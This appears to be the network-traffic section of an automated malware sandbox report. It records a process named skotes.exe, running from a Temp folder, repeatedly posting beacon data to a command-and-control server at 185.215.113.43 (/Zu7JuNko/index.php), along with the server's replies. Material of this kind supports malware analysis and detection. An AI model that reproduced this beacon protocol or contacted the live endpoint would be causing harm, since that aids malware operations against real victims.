Nov 23, 2024 21:18:44.623828888 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:46.303440094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	50161	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:48.042148113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:49.424109936 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	50162	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:51.062752008 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:52.411739111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	50163	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:54.161483049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:55.630439043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	50164	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:57.257438898 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:58.609474897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	50165	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:00.355262995 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:01.707019091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	50166	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:03.332747936 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:04.736354113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	50167	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:06.472702026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:07.901319981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	50169	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:09.553587914 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:10.892853975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	50170	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:12.641262054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:14.077920914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	50171	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:15.717932940 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:17.161171913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	50172	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:18.898274899 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:20.338399887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	50173	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:21.972749949 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:23.355967045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	50175	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:25.178474903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:26.558736086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	50185	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:28.197403908 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:29.736748934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	50186	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:31.484186888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:32.869528055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	50187	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:34.498044968 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:35.837240934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	50188	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:37.574376106 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:38.918107033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	50189	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:40.553729057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:42.003431082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	50190	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:43.746994972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:45.137509108 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	50191	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:46.785255909 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:48.391733885 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	50192	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:50.331187010 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:51.720760107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	50193	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:53.355719090 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:19:54.809202909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	50194	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
